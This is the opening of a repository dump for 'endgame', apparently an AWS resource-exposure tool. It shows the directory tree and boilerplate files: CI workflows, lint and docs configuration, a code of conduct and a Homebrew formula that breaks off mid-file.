Showing preview only (532K chars total). Download the full file or copy to clipboard to get everything.
Repository: DavidDikker/endgame
Branch: main
Commit: 01bd004aa544
Files: 179
Total size: 486.3 KB
Directory structure:
gitextract_q2x_aiiz/
├── .github/
│ ├── PULL_REQUEST_TEMPLATE
│ ├── release-drafter.yml
│ └── workflows/
│ ├── ci.yml
│ ├── publish.yml
│ └── release-drafter.yml
├── .gitignore
├── .pylintrc
├── .readthedocs.yml
├── CODE_OF_CONDUCT.md
├── HomebrewFormula/
│ └── endgame.rb
├── LICENSE
├── Makefile
├── README.md
├── SECURITY.md
├── docs/
│ ├── appendices/
│ │ ├── acm-pca-activation.md
│ │ ├── faq.md
│ │ ├── permissions-management-actions.md
│ │ ├── roadmap.md
│ │ └── terraform-demo-infrastructure.md
│ ├── contributing/
│ │ ├── contributing.md
│ │ └── testing.md
│ ├── custom.css
│ ├── detection.md
│ ├── iam-permissions.md
│ ├── index.md
│ ├── installation.md
│ ├── prevention.md
│ ├── recommendations-to-aws.md
│ ├── requirements-docs.txt
│ ├── resource-policy-primer.md
│ ├── risks/
│ │ ├── acm-pca.md
│ │ ├── amis.md
│ │ ├── ebs.md
│ │ ├── ecr.md
│ │ ├── efs.md
│ │ ├── es.md
│ │ ├── glacier.md
│ │ ├── iam-roles.md
│ │ ├── kms.md
│ │ ├── lambda-functions.md
│ │ ├── lambda-layers.md
│ │ ├── logs.md
│ │ ├── rds-snapshots.md
│ │ ├── s3.md
│ │ ├── secretsmanager.md
│ │ ├── ses.md
│ │ ├── sns.md
│ │ └── sqs.md
│ └── tutorial.md
├── endgame/
│ ├── __init__.py
│ ├── bin/
│ │ ├── __init__.py
│ │ ├── cli.py
│ │ └── version.py
│ ├── command/
│ │ ├── __init__.py
│ │ ├── expose.py
│ │ ├── list_resources.py
│ │ └── smash.py
│ ├── exposure_via_aws_ram/
│ │ ├── README.md
│ │ └── __init__.py
│ ├── exposure_via_resource_policies/
│ │ ├── README.md
│ │ ├── __init__.py
│ │ ├── acm_pca.py
│ │ ├── cloudwatch_logs.py
│ │ ├── common.py
│ │ ├── ecr.py
│ │ ├── efs.py
│ │ ├── elasticsearch.py
│ │ ├── glacier_vault.py
│ │ ├── iam.py
│ │ ├── kms.py
│ │ ├── lambda_function.py
│ │ ├── lambda_layer.py
│ │ ├── s3.py
│ │ ├── secrets_manager.py
│ │ ├── ses.py
│ │ ├── sns.py
│ │ └── sqs.py
│ ├── exposure_via_sharing_apis/
│ │ ├── README.md
│ │ ├── __init__.py
│ │ ├── common.py
│ │ ├── ebs_snapshots.py
│ │ ├── ec2_amis.py
│ │ └── rds_snapshots.py
│ └── shared/
│ ├── __init__.py
│ ├── aws_login.py
│ ├── constants.py
│ ├── list_resources_response.py
│ ├── policy_document.py
│ ├── resource_results.py
│ ├── response_message.py
│ ├── scary_warnings.py
│ ├── statement_detail.py
│ ├── utils.py
│ └── validate.py
├── mkdocs.yml
├── requirements-dev.txt
├── requirements.txt
├── setup.cfg
├── setup.py
├── tasks.py
├── terraform/
│ ├── acm-pca/
│ │ ├── acm_pca.tf
│ │ ├── outputs.tf
│ │ └── variables.tf
│ ├── all.tf
│ ├── cloudwatch-resource-policy/
│ │ └── main.tf
│ ├── ebs-snapshot/
│ │ ├── ebs.tf
│ │ ├── outputs.tf
│ │ └── variables.tf
│ ├── ec2-ami/
│ │ ├── ami.tf
│ │ ├── output.tf
│ │ └── variables.tf
│ ├── ecr-repository/
│ │ ├── ecr.tf
│ │ ├── outputs.tf
│ │ └── variables.tf
│ ├── efs-file-system/
│ │ ├── efs.tf
│ │ ├── outputs.tf
│ │ └── variables.tf
│ ├── elasticsearch-domain/
│ │ ├── es.tf
│ │ ├── outputs.tf
│ │ └── variables.tf
│ ├── glacier-vault/
│ │ ├── glacier.tf
│ │ ├── outputs.tf
│ │ └── variables.tf
│ ├── iam-role/
│ │ ├── outputs.tf
│ │ ├── role.tf
│ │ └── variables.tf
│ ├── lambda-function/
│ │ ├── lambda.py
│ │ ├── lambda_function.tf
│ │ ├── outputs.tf
│ │ └── variables.tf
│ ├── lambda-layer/
│ │ ├── layer.tf
│ │ ├── outputs.tf
│ │ ├── python/
│ │ │ └── custom_func.py
│ │ └── variables.tf
│ ├── provider.tf
│ ├── rds-cluster-snapshot/
│ │ ├── cluster_snapshot.tf
│ │ ├── outputs.tf
│ │ └── variables.tf
│ ├── rds-snapshot/
│ │ ├── db_snapshot.tf
│ │ ├── outputs.tf
│ │ └── variables.tf
│ ├── s3-bucket/
│ │ ├── bucket.tf
│ │ ├── outputs.tf
│ │ └── variables.tf
│ ├── secrets-manager/
│ │ ├── outputs.tf
│ │ ├── secrets-manager.tf
│ │ └── variables.tf
│ ├── ses-domain-identity/
│ │ ├── outputs.tf
│ │ ├── ses.tf
│ │ └── variables.tf
│ ├── sns-topic/
│ │ ├── outputs.tf
│ │ ├── sns.tf
│ │ └── variables.tf
│ ├── sqs-queue/
│ │ ├── outputs.tf
│ │ ├── sqs.tf
│ │ └── variables.tf
│ └── variables.tf
└── test/
├── __init__.py
├── command/
│ ├── __init__.py
│ ├── test_expose.py
│ ├── test_list_resources.py
│ └── test_smash.py
├── exposure_via_resource_policies/
│ ├── README.md
│ ├── __init__.py
│ ├── test_ecr.py
│ ├── test_glacier.py
│ ├── test_iam.py
│ ├── test_kms.py
│ ├── test_s3.py
│ ├── test_secrets_manager.py
│ ├── test_ses.py
│ ├── test_sns.py
│ └── test_sqs.py
└── shared/
├── __init__.py
├── test_policy_document.py
├── test_resource_results.py
├── test_statement_detail.py
├── test_utils.py
└── test_validate.py
================================================
FILE CONTENTS
================================================
================================================
FILE: .github/PULL_REQUEST_TEMPLATE
================================================
## What does this PR do?
[//]: # (Required: Describe the effects of your pull request in detail. If
multiple changes are involved, a bulleted list is often useful.)
## What gif best describes this PR or how it makes you feel?
[//]: # (Encouraged: Insert an appropriate gif/meme to brighten up your reviewer's day.)
## Completion checklist
- [ ] Additions and changes have unit tests
- [ ] [Unit tests, Pylint, security testing, and Integration tests are passing.](https://github.com/salesforce/endgame/actions). GitHub actions does this automatically
- [ ] The pull request has been appropriately labeled using the provided PR labels
================================================
FILE: .github/release-drafter.yml
================================================
name-template: '$RESOLVED_VERSION 🌈'
tag-template: '$RESOLVED_VERSION'
categories:
- title: '🚀 Features'
labels:
- 'feature'
- 'enhancement'
- title: '🐛 Bug Fixes'
labels:
- 'fix'
- 'bugfix'
- 'bug'
- 'quick-fix'
- title: '🧰 Maintenance'
label:
- 'chore'
- 'maintenance'
- 'maintain'
- 'cleanup'
- title: '📝 Documentation'
label:
- 'documentation'
- 'docs'
change-template: '- $TITLE @$AUTHOR (#$NUMBER)'
change-title-escapes: '\<*_&' # You can add # and @ to disable mentions, and add ` to disable code blocks.
version-resolver:
major:
labels:
- 'major'
minor:
labels:
- 'minor'
patch:
labels:
- 'patch'
default: patch
template: |
## Changes
$CHANGES
================================================
FILE: .github/workflows/ci.yml
================================================
name: continuous-integration
on: [push, pull_request]
jobs:
ci:
runs-on: ubuntu-latest
strategy:
matrix:
python-version: ['3.7', '3.8', '3.9']
steps:
- uses: actions/checkout@v2
- name: Setup Python
uses: actions/setup-python@v2
with:
python-version: ${{ matrix.python-version }}
- name: Install dependencies
run: |
make setup-dev
- name: Run pytest (unit tests) and bandit (security test)
run: |
make security-test
make test
- name: Install the package to make sure nothing is randomly broken
run: |
make install
# - name: pylint
# run: |
# make lint
================================================
FILE: .github/workflows/publish.yml
================================================
name: Publish
on:
release:
types: [ published ]
jobs:
test:
runs-on: ubuntu-latest
strategy:
matrix:
python-version: ['3.7', '3.8', '3.9']
steps:
- uses: actions/checkout@v2
- name: Setup Python
uses: actions/setup-python@v2
with:
python-version: ${{ matrix.python-version }}
- name: Install dependencies
run: |
make setup-dev
- name: Run pytest (unit tests) and bandit (security test)
run: |
make test
- name: Install the package to make sure nothing is randomly broken
run: |
make install
publish-package:
needs: test
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@master
- name: Set up Python 3.7
uses: actions/setup-python@v2
with:
python-version: 3.7
- name: Install dependencies
run: |
pip install -r requirements.txt
pip install -r requirements-dev.txt
- name: create python package
run: |
git config --local user.email "action@github.com"
git config --local user.name "GitHub Action"
git fetch --tags
git pull origin main
pip install setuptools wheel twine
python -m setup sdist bdist_wheel
- name: Publish package
uses: pypa/gh-action-pypi-publish@master
with:
user: __token__
password: ${{ secrets.PYPI_PASSWORD }}
update-brew:
needs: publish-package
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@master
- name: Set up Python 3.7
uses: actions/setup-python@v2
with:
python-version: 3.7
- name: publish brew
run: |
sleep 5m
git config --local user.email "action@github.com"
git config --local user.name "GitHub Action"
pip install homebrew-pypi-poet
pip install endgame -U
git fetch origin
git checkout --track origin/main
latest_tag=$(git describe --tags `git rev-list --tags --max-count=1`)
echo "latest tag: $latest_tag"
git pull origin $latest_tag
mkdir -p "HomebrewFormula" && touch "HomebrewFormula/endgame.rb"
poet -f endgame > HomebrewFormula/endgame.rb
git add .
git commit -m "update brew formula" endgame/bin/cli.py HomebrewFormula/endgame.rb || echo "No brew changes to commit"
git push -u origin main
================================================
FILE: .github/workflows/release-drafter.yml
================================================
name: Release Drafter
on:
push:
branches: [ main, master ]
jobs:
update_release_draft:
runs-on: ubuntu-latest
steps:
# Drafts your next Release notes as Pull Requests are merged into "master"
- uses: release-drafter/release-drafter@v5
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
================================================
FILE: .gitignore
================================================
# IDEs
.idea
.vscode
# Mac OS X
.DS_Store
# Serverless framework
.serverless
.requirements.zip
node_modules/
# Working directories
tmp
!.gitkeep
# Python
.coverage
.Python
__pycache__/
*.py[cod]
*$py.class
env/
build/
develop-eggs/
dist/
downloads/
eggs/
.eggs/
lib/
lib64/
parts/
sdist/
var/
venv/
*.egg-info/
.installed.cfg
*.egg
# Unit test / coverage reports
htmlcov/
.tox/
.nox/
.coverage
.coverage.*
.cache
nosetests.xml
coverage.xml
*.cover
.hypothesis/
.pytest_cache/
# HashiCorp
**/.terraform/*
*.plan
*.tfstate
*.tfstate.*
*.tfvars
terraform.tfvars
.vagrant
packer_cache/
*.box
#### Other
*.log
*.pem
#### Repository specific
.notes/*
**/private.tf
.python-version
ecr-policy.json
================================================
FILE: .pylintrc
================================================
[MASTER]
# A comma-separated list of package or module names from where C extensions may
# be loaded. Extensions are loading into the active Python interpreter and may
# run arbitrary code.
extension-pkg-whitelist=
# Add files or directories to the blacklist. They should be base names, not
# paths.
ignore=CVS
# Add files or directories matching the regex patterns to the blacklist. The
# regex matches against base names, not paths.
ignore-patterns=
# Python code to execute, usually for sys.path manipulation such as
# pygtk.require().
#init-hook=
# Use multiple processes to speed up Pylint. Specifying 0 will auto-detect the
# number of processors available to use.
jobs=1
# Control the amount of potential inferred values when inferring a single
# object. This can help the performance when dealing with large functions or
# complex, nested conditions.
limit-inference-results=100
# List of plugins (as comma separated values of python module names) to load,
# usually to register additional checkers.
load-plugins=
# Pickle collected data for later comparisons.
persistent=yes
# Specify a configuration file.
#rcfile=
# When enabled, pylint would attempt to guess common misconfiguration and emit
# user-friendly hints instead of false-positive error messages.
suggestion-mode=yes
# Allow loading of arbitrary C extensions. Extensions are imported into the
# active Python interpreter and may run arbitrary code.
unsafe-load-any-extension=no
[MESSAGES CONTROL]
# Only show warnings with the listed confidence levels. Leave empty to show
# all. Valid levels: HIGH, INFERENCE, INFERENCE_FAILURE, UNDEFINED.
confidence=
# Disable the message, report, category or checker with the given id(s). You
# can either give multiple identifiers separated by comma (,) or put this
# option multiple times (only on the command line, not in the configuration
# file where it should appear only once). You can also use "--disable=all" to
# disable everything first and then reenable specific checks. For example, if
# you want to run only the similarities checker, you can use "--disable=all
# --enable=similarities". If you want to run only the classes checker, but have
# no Warning level messages displayed, use "--disable=all --enable=classes
# --disable=W".
disable=print-statement,
parameter-unpacking,
unpacking-in-except,
old-raise-syntax,
backtick,
long-suffix,
old-ne-operator,
old-octal-literal,
import-star-module-level,
non-ascii-bytes-literal,
raw-checker-failed,
bad-inline-option,
locally-disabled,
file-ignored,
suppressed-message,
useless-suppression,
deprecated-pragma,
use-symbolic-message-instead,
apply-builtin,
basestring-builtin,
buffer-builtin,
cmp-builtin,
coerce-builtin,
execfile-builtin,
file-builtin,
long-builtin,
raw_input-builtin,
reduce-builtin,
standarderror-builtin,
unicode-builtin,
xrange-builtin,
coerce-method,
delslice-method,
getslice-method,
setslice-method,
no-absolute-import,
old-division,
dict-iter-method,
dict-view-method,
next-method-called,
metaclass-assignment,
indexing-exception,
raising-string,
reload-builtin,
oct-method,
hex-method,
nonzero-method,
cmp-method,
input-builtin,
round-builtin,
intern-builtin,
unichr-builtin,
map-builtin-not-iterating,
zip-builtin-not-iterating,
range-builtin-not-iterating,
filter-builtin-not-iterating,
using-cmp-argument,
eq-without-hash,
div-method,
idiv-method,
rdiv-method,
exception-message-attribute,
invalid-str-codec,
sys-max-int,
bad-python3-import,
deprecated-string-function,
deprecated-str-translate-call,
deprecated-itertools-function,
deprecated-types-field,
next-method-defined,
dict-items-not-iterating,
dict-keys-not-iterating,
dict-values-not-iterating,
deprecated-operator-function,
deprecated-urllib-function,
xreadlines-attribute,
deprecated-sys-function,
exception-escape,
comprehension-escape,
fixme,
line-too-long,
duplicate-code,
consider-using-sys-exit,
no-else-return,
too-few-public-methods,
too-many-nested-blocks,
too-many-statements,
too-many-branches,
self-assigning-variable,
pointless-string-statement,
too-many-locals,
consider-using-enumerate,
too-many-arguments,
expression-not-assigned,
invalid-name,
logging-too-many-args,
bad-continuation,
logging-format-interpolation,
f-string-without-interpolation,
logging-fstring-interpolation,
unused-variable,
no-self-use
# Enable the message, report, category or checker with the given id(s). You can
# either give multiple identifier separated by comma (,) or put this option
# multiple time (only on the command line, not in the configuration file where
# it should appear only once). See also the "--disable" option for examples.
enable=c-extension-no-member
[REPORTS]
# Python expression which should return a score less than or equal to 10. You
# have access to the variables 'error', 'warning', 'refactor', and 'convention'
# which contain the number of messages in each category, as well as 'statement'
# which is the total number of statements analyzed. This score is used by the
# global evaluation report (RP0004).
evaluation=10.0 - ((float(5 * error + warning + refactor + convention) / statement) * 10)
# Template used to display messages. This is a python new-style format string
# used to format the message information. See doc for all details.
#msg-template=
# Set the output format. Available formats are text, parseable, colorized, json
# and msvs (visual studio). You can also give a reporter class, e.g.
# mypackage.mymodule.MyReporterClass.
output-format=text
# Tells whether to display a full report or only the messages.
reports=no
# Activate the evaluation score.
score=yes
[REFACTORING]
# Maximum number of nested blocks for function / method body
max-nested-blocks=5
# Complete name of functions that never returns. When checking for
# inconsistent-return-statements if a never returning function is called then
# it will be considered as an explicit return statement and no message will be
# printed.
never-returning-functions=sys.exit
[LOGGING]
# Format style used to check logging format string. `old` means using %
# formatting, `new` is for `{}` formatting,and `fstr` is for f-strings.
logging-format-style=old
# Logging modules to check that the string format arguments are in logging
# function parameter format.
logging-modules=logging
[SPELLING]
# Limits count of emitted suggestions for spelling mistakes.
max-spelling-suggestions=4
# Spelling dictionary name. Available dictionaries: none. To make it work,
# install the python-enchant package.
spelling-dict=
# List of comma separated words that should not be checked.
spelling-ignore-words=
# A path to a file that contains the private dictionary; one word per line.
spelling-private-dict-file=
# Tells whether to store unknown words to the private dictionary (see the
# --spelling-private-dict-file option) instead of raising a message.
spelling-store-unknown-words=no
[MISCELLANEOUS]
# List of note tags to take in consideration, separated by a comma.
notes=FIXME,
XXX,
TODO
[TYPECHECK]
# List of decorators that produce context managers, such as
# contextlib.contextmanager. Add to this list to register other decorators that
# produce valid context managers.
contextmanager-decorators=contextlib.contextmanager
# List of members which are set dynamically and missed by pylint inference
# system, and so shouldn't trigger E1101 when accessed. Python regular
# expressions are accepted.
generated-members=
# Tells whether missing members accessed in mixin class should be ignored. A
# mixin class is detected if its name ends with "mixin" (case insensitive).
ignore-mixin-members=yes
# Tells whether to warn about missing members when the owner of the attribute
# is inferred to be None.
ignore-none=yes
# This flag controls whether pylint should warn about no-member and similar
# checks whenever an opaque object is returned when inferring. The inference
# can return multiple potential results while evaluating a Python object, but
# some branches might not be evaluated, which results in partial inference. In
# that case, it might be useful to still emit no-member and other checks for
# the rest of the inferred objects.
ignore-on-opaque-inference=yes
# List of class names for which member attributes should not be checked (useful
# for classes with dynamically set attributes). This supports the use of
# qualified names.
ignored-classes=optparse.Values,thread._local,_thread._local
# List of module names for which member attributes should not be checked
# (useful for modules/projects where namespaces are manipulated during runtime
# and thus existing member attributes cannot be deduced by static analysis). It
# supports qualified module names, as well as Unix pattern matching.
ignored-modules=
# Show a hint with possible names when a member name was not found. The aspect
# of finding the hint is based on edit distance.
missing-member-hint=yes
# The minimum edit distance a name should have in order to be considered a
# similar match for a missing member name.
missing-member-hint-distance=1
# The total number of similar names that should be taken in consideration when
# showing a hint for a missing member.
missing-member-max-choices=1
# List of decorators that change the signature of a decorated function.
signature-mutators=
[VARIABLES]
# List of additional names supposed to be defined in builtins. Remember that
# you should avoid defining new builtins when possible.
additional-builtins=
# Tells whether unused global variables should be treated as a violation.
allow-global-unused-variables=yes
# List of strings which can identify a callback function by name. A callback
# name must start or end with one of those strings.
callbacks=cb_,
_cb
# A regular expression matching the name of dummy variables (i.e. expected to
# not be used).
dummy-variables-rgx=_+$|(_[a-zA-Z0-9_]*[a-zA-Z0-9]+?$)|dummy|^ignored_|^unused_
# Argument names that match this expression will be ignored. Default to name
# with leading underscore.
ignored-argument-names=_.*|^ignored_|^unused_
# Tells whether we should check for unused import in __init__ files.
init-import=no
# List of qualified module names which can have objects that can redefine
# builtins.
redefining-builtins-modules=six.moves,past.builtins,future.builtins,builtins,io
[FORMAT]
# Expected format of line ending, e.g. empty (any line ending), LF or CRLF.
expected-line-ending-format=
# Regexp for a line that is allowed to be longer than the limit.
ignore-long-lines=^\s*(# )?<?https?://\S+>?$
# Number of spaces of indent required inside a hanging or continued line.
indent-after-paren=4
# String used as indentation unit. This is usually " " (4 spaces) or "\t" (1
# tab).
indent-string=' '
# Maximum number of characters on a single line.
max-line-length=119
# Maximum number of lines in a module.
max-module-lines=1000
# List of optional constructs for which whitespace checking is disabled. `dict-
# separator` is used to allow tabulation in dicts, etc.: {1 : 1,\n222: 2}.
# `trailing-comma` allows a space between comma and closing bracket: (a, ).
# `empty-line` allows space-only lines.
no-space-check=trailing-comma,
dict-separator
# Allow the body of a class to be on the same line as the declaration if body
# contains single statement.
single-line-class-stmt=no
# Allow the body of an if to be on the same line as the test if there is no
# else.
single-line-if-stmt=no
[SIMILARITIES]
# Ignore comments when computing similarities.
ignore-comments=yes
# Ignore docstrings when computing similarities.
ignore-docstrings=yes
# Ignore imports when computing similarities.
ignore-imports=no
# Minimum lines number of a similarity.
min-similarity-lines=4
[BASIC]
# Naming style matching correct argument names.
argument-naming-style=snake_case
# Regular expression matching correct argument names. Overrides argument-
# naming-style.
#argument-rgx=
# Naming style matching correct attribute names.
attr-naming-style=snake_case
# Regular expression matching correct attribute names. Overrides attr-naming-
# style.
#attr-rgx=
# Bad variable names which should always be refused, separated by a comma.
bad-names=foo,
bar,
baz,
toto,
tutu,
tata
# Naming style matching correct class attribute names.
class-attribute-naming-style=any
# Regular expression matching correct class attribute names. Overrides class-
# attribute-naming-style.
#class-attribute-rgx=
# Naming style matching correct class names.
class-naming-style=PascalCase
# Regular expression matching correct class names. Overrides class-naming-
# style.
#class-rgx=
# Naming style matching correct constant names.
const-naming-style=UPPER_CASE
# Regular expression matching correct constant names. Overrides const-naming-
# style.
#const-rgx=
# Minimum line length for functions/classes that require docstrings, shorter
# ones are exempt.
docstring-min-length=-1
# Naming style matching correct function names.
function-naming-style=snake_case
# Regular expression matching correct function names. Overrides function-
# naming-style.
#function-rgx=
# Good variable names which should always be accepted, separated by a comma.
good-names=i,
j,
k,
ex,
Run,
_
# Include a hint for the correct naming format with invalid-name.
include-naming-hint=no
# Naming style matching correct inline iteration names.
inlinevar-naming-style=any
# Regular expression matching correct inline iteration names. Overrides
# inlinevar-naming-style.
#inlinevar-rgx=
# Naming style matching correct method names.
method-naming-style=snake_case
# Regular expression matching correct method names. Overrides method-naming-
# style.
#method-rgx=
# Naming style matching correct module names.
module-naming-style=snake_case
# Regular expression matching correct module names. Overrides module-naming-
# style.
#module-rgx=
# Colon-delimited sets of names that determine each other's naming style when
# the name regexes allow several styles.
name-group=
# Regular expression which should only match function or class names that do
# not require a docstring.
no-docstring-rgx=^_
# List of decorators that produce properties, such as abc.abstractproperty. Add
# to this list to register other decorators that produce valid properties.
# These decorators are taken in consideration only for invalid-name.
property-classes=abc.abstractproperty
# Naming style matching correct variable names.
variable-naming-style=snake_case
# Regular expression matching correct variable names. Overrides variable-
# naming-style.
#variable-rgx=
[STRING]
# This flag controls whether the implicit-str-concat-in-sequence should
# generate a warning on implicit string concatenation in sequences defined over
# several lines.
check-str-concat-over-line-jumps=no
[IMPORTS]
# List of modules that can be imported at any level, not just the top level
# one.
allow-any-import-level=
# Allow wildcard imports from modules that define __all__.
allow-wildcard-with-all=no
# Analyse import fallback blocks. This can be used to support both Python 2 and
# 3 compatible code, which means that the block might have code that exists
# only in one or another interpreter, leading to false positives when analysed.
analyse-fallback-blocks=no
# Deprecated modules which should not be used, separated by a comma.
deprecated-modules=optparse,tkinter.tix
# Create a graph of external dependencies in the given file (report RP0402 must
# not be disabled).
ext-import-graph=
# Create a graph of every (i.e. internal and external) dependencies in the
# given file (report RP0402 must not be disabled).
import-graph=
# Create a graph of internal dependencies in the given file (report RP0402 must
# not be disabled).
int-import-graph=
# Force import order to recognize a module as part of the standard
# compatibility libraries.
known-standard-library=
# Force import order to recognize a module as part of a third party library.
known-third-party=enchant
# Couples of modules and preferred modules, separated by a comma.
preferred-modules=
[CLASSES]
# List of method names used to declare (i.e. assign) instance attributes.
defining-attr-methods=__init__,
__new__,
setUp,
__post_init__
# List of member names, which should be excluded from the protected access
# warning.
exclude-protected=_asdict,
_fields,
_replace,
_source,
_make
# List of valid names for the first argument in a class method.
valid-classmethod-first-arg=cls
# List of valid names for the first argument in a metaclass class method.
valid-metaclass-classmethod-first-arg=cls
[DESIGN]
# Maximum number of arguments for function / method.
max-args=5
# Maximum number of attributes for a class (see R0902).
max-attributes=7
# Maximum number of boolean expressions in an if statement (see R0916).
max-bool-expr=5
# Maximum number of branch for function / method body.
max-branches=12
# Maximum number of locals for function / method body.
max-locals=15
# Maximum number of parents for a class (see R0901).
max-parents=7
# Maximum number of public methods for a class (see R0904).
max-public-methods=20
# Maximum number of return / yield for function / method body.
max-returns=6
# Maximum number of statements in function / method body.
max-statements=50
# Minimum number of public methods for a class (see R0903).
min-public-methods=2
[EXCEPTIONS]
# Exceptions that will emit a warning when being caught. Defaults to
# "BaseException, Exception".
overgeneral-exceptions=BaseException,
Exception
================================================
FILE: .readthedocs.yml
================================================
# Read the Docs configuration file
# See https://docs.readthedocs.io/en/stable/config-file/v2.html for details
# Required
version: 2
mkdocs:
configuration: mkdocs.yml
fail_on_warning: false
# Optionally build your docs in additional formats such as PDF and ePub
formats: all
# Optionally set the version of Python and requirements required to build your docs
python:
version: 3.7
install:
- requirements: docs/requirements-docs.txt
================================================
FILE: CODE_OF_CONDUCT.md
================================================
# Salesforce Open Source Community Code of Conduct
## About the Code of Conduct
Equality is a core value at Salesforce. We believe a diverse and inclusive
community fosters innovation and creativity, and are committed to building a
culture where everyone feels included.
Salesforce open-source projects are committed to providing a friendly, safe, and
welcoming environment for all, regardless of gender identity and expression,
sexual orientation, disability, physical appearance, body size, ethnicity, nationality,
race, age, religion, level of experience, education, socioeconomic status, or
other similar personal characteristics.
The goal of this code of conduct is to specify a baseline standard of behavior so
that people with different social values and communication styles can work
together effectively, productively, and respectfully in our open source community.
It also establishes a mechanism for reporting issues and resolving conflicts.
All questions and reports of abusive, harassing, or otherwise unacceptable behavior
in a Salesforce open-source project may be reported by contacting the Salesforce
Open Source Conduct Committee at ossconduct@salesforce.com.
## Our Pledge
In the interest of fostering an open and welcoming environment, we as
contributors and maintainers pledge to making participation in our project and
our community a harassment-free experience for everyone, regardless of gender
identity and expression, sexual orientation, disability, physical appearance,
body size, ethnicity, nationality, race, age, religion, level of experience, education,
socioeconomic status, or other similar personal characteristics.
## Our Standards
Examples of behavior that contributes to creating a positive environment
include:
* Using welcoming and inclusive language
* Being respectful of differing viewpoints and experiences
* Gracefully accepting constructive criticism
* Focusing on what is best for the community
* Showing empathy toward other community members
Examples of unacceptable behavior by participants include:
* The use of sexualized language or imagery and unwelcome sexual attention or
advances
* Personal attacks, insulting/derogatory comments, or trolling
* Public or private harassment
* Publishing, or threatening to publish, others' private information—such as
a physical or electronic address—without explicit permission
* Other conduct which could reasonably be considered inappropriate in a
professional setting
* Advocating for or encouraging any of the above behaviors
## Our Responsibilities
Project maintainers are responsible for clarifying the standards of acceptable
behavior and are expected to take appropriate and fair corrective action in
response to any instances of unacceptable behavior.
Project maintainers have the right and responsibility to remove, edit, or
reject comments, commits, code, wiki edits, issues, and other contributions
that are not aligned with this Code of Conduct, or to ban temporarily or
permanently any contributor for other behaviors that they deem inappropriate,
threatening, offensive, or harmful.
## Scope
This Code of Conduct applies both within project spaces and in public spaces
when an individual is representing the project or its community. Examples of
representing a project or community include using an official project email
address, posting via an official social media account, or acting as an appointed
representative at an online or offline event. Representation of a project may be
further defined and clarified by project maintainers.
## Enforcement
Instances of abusive, harassing, or otherwise unacceptable behavior may be
reported by contacting the Salesforce Open Source Conduct Committee
at ossconduct@salesforce.com. All complaints will be reviewed and investigated
and will result in a response that is deemed necessary and appropriate to the
circumstances. The committee is obligated to maintain confidentiality with
regard to the reporter of an incident. Further details of specific enforcement
policies may be posted separately.
Project maintainers who do not follow or enforce the Code of Conduct in good
faith may face temporary or permanent repercussions as determined by other
members of the project's leadership and the Salesforce Open Source Conduct
Committee.
## Attribution
This Code of Conduct is adapted from the [Contributor Covenant][contributor-covenant-home],
version 1.4, available at https://www.contributor-covenant.org/version/1/4/code-of-conduct.html.
It includes adaptions and additions from [Go Community Code of Conduct][golang-coc],
[CNCF Code of Conduct][cncf-coc], and [Microsoft Open Source Code of Conduct][microsoft-coc].
This Code of Conduct is licensed under the [Creative Commons Attribution 3.0 License][cc-by-3-us].
[contributor-covenant-home]: https://www.contributor-covenant.org (https://www.contributor-covenant.org/)
[golang-coc]: https://golang.org/conduct
[cncf-coc]: https://github.com/cncf/foundation/blob/master/code-of-conduct.md
[microsoft-coc]: https://opensource.microsoft.com/codeofconduct/
[cc-by-3-us]: https://creativecommons.org/licenses/by/3.0/us/
================================================
FILE: HomebrewFormula/endgame.rb
================================================
class Endgame < Formula
include Language::Python::Virtualenv
desc "Shiny new formula"
homepage "https://github.com/salesforce/endgame"
url "https://files.pythonhosted.org/packages/88/7e/e664d5c4708b7056110b672eefd3bd29133fb731ffa63c2eda656c290c75/endgame-0.1.6.tar.gz"
sha256 "ba1f5da8e10c96ea9e9aa73fd0205964013da615d6512b854421f18ba16b1393"
depends_on "python3"
resource "beautifulsoup4" do
url "https://files.pythonhosted.org/packages/6b/c3/d31704ae558dcca862e4ee8e8388f357af6c9d9acb0cad4ba0fbbd350d9a/beautifulsoup4-4.9.3.tar.gz"
sha256 "84729e322ad1d5b4d25f805bfa05b902dd96450f43842c4e99067d5e1369eb25"
end
resource "boto3" do
url "https://files.pythonhosted.org/packages/79/94/8cdeff002e0c9ab56f88560523036d8efcb7680e02abe2fa4fc8f4bd87c2/boto3-1.17.8.tar.gz"
sha256 "819890e92268d730bdef1d8bac08fb069b148bec21f2172a1a99380798224e1b"
end
resource "botocore" do
url "https://files.pythonhosted.org/packages/62/84/f5415b10f5447fa3323ebf2480fe36985f65da24e2def14fc9a4939a737f/botocore-1.20.8.tar.gz"
sha256 "cd621cdd14a81d2c3c5276516066d9e6ea20a515cf3113a80ad74f3f8b04a093"
end
resource "certifi" do
url "https://files.pythonhosted.org/packages/06/a9/cd1fd8ee13f73a4d4f491ee219deeeae20afefa914dfb4c130cfc9dc397a/certifi-2020.12.5.tar.gz"
sha256 "1a4995114262bffbc2413b159f2a1a480c969de6e6eb13ee966d470af86af59c"
end
resource "chardet" do
url "https://files.pythonhosted.org/packages/ee/2d/9cdc2b527e127b4c9db64b86647d567985940ac3698eeabc7ffaccb4ea61/chardet-4.0.0.tar.gz"
sha256 "0d6f53a15db4120f2b08c94f11e7d93d2c911ee118b6b30a04ec3ee8310179fa"
end
resource "click" do
url "https://files.pythonhosted.org/packages/27/6f/be940c8b1f1d69daceeb0032fee6c34d7bd70e3e649ccac0951500b4720e/click-7.1.2.tar.gz"
sha256 "d2b5255c7c6349bc1bd1e59e08cd12acbbd63ce649f2588755783aa94dfb6b1a"
end
resource "colorama" do
url "https://files.pythonhosted.org/packages/1f/bb/5d3246097ab77fa083a61bd8d3d527b7ae063c7d8e8671b1cf8c4ec10cbe/colorama-0.4.4.tar.gz"
sha256 "5941b2b48a20143d2267e95b1c2a7603ce057ee39fd88e7329b0c292aa16869b"
end
resource "contextlib2" do
url "https://files.pythonhosted.org/packages/02/54/669207eb72e3d8ae8b38aa1f0703ee87a0e9f88f30d3c0a47bebdb6de242/contextlib2-0.6.0.post1.tar.gz"
sha256 "01f490098c18b19d2bd5bb5dc445b2054d2fa97f09a4280ba2c5f3c394c8162e"
end
resource "idna" do
url "https://files.pythonhosted.org/packages/ea/b7/e0e3c1c467636186c39925827be42f16fee389dc404ac29e930e9136be70/idna-2.10.tar.gz"
sha256 "b307872f855b18632ce0c21c5e45be78c0ea7ae4c15c828c20788b26921eb3f6"
end
resource "jmespath" do
